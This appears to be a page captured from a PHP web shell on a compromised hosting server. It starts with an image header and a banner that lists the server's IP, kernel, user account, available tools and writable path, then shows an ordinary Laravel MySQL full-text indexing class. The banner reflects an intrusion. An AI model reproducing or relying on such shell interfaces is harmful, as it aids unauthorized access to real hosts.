����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/home/builderbox/././www/common/Search/Drivers/Mysql/ |
Upload File : |
<?php
namespace Common\Search\Drivers\Mysql;
use Illuminate\Support\Facades\DB;
class MysqlFullTextIndexer
{
/**
* @var string
*/
private $tableName;
/**
* @var string
*/
private $indexName;
/**
* @var array
*/
private $searchableFields;
/**
* @var bool
*/
private $indexAlreadyExists;
public function createOrUpdateIndex(string $model)
{
/**
* @var Searchable $model
*/
$model = new $model;
$this->tableName = config('database.connections.mysql.prefix') . $model->getTable();
$this->indexName = $model->searchableAs();
$this->searchableFields = $model->getSearchableKeys(true);
$this->indexAlreadyExists = $this->indexExists();
if ( ! $this->indexAlreadyExists || $this->indexNeedsUpdate()) {
$this->dropIndex();
$fields = implode(',', $this->searchableFields);
DB::statement("CREATE FULLTEXT INDEX $this->indexName ON $this->tableName ($fields)");
}
}
private function indexExists(): bool
{
return !empty(DB::select("SHOW INDEX FROM $this->tableName WHERE Key_name = ?", [$this->indexName]));
}
private function indexNeedsUpdate(): bool
{
$currentIndexFields = $this->searchableFields;
$expectedIndexFields = $this->getIndexFields();
return $currentIndexFields != $expectedIndexFields;
}
private function getIndexFields(): array
{
$index = DB::select("SHOW INDEX FROM $this->tableName WHERE Key_name = ?", [$this->indexName]);
$indexFields = [];
foreach ($index as $idx) {
$indexFields[] = $idx->Column_name;
}
return $indexFields;
}
private function dropIndex()
{
if ($this->indexAlreadyExists) {
DB::statement("ALTER TABLE $this->tableName DROP INDEX $this->indexName");
}
}
}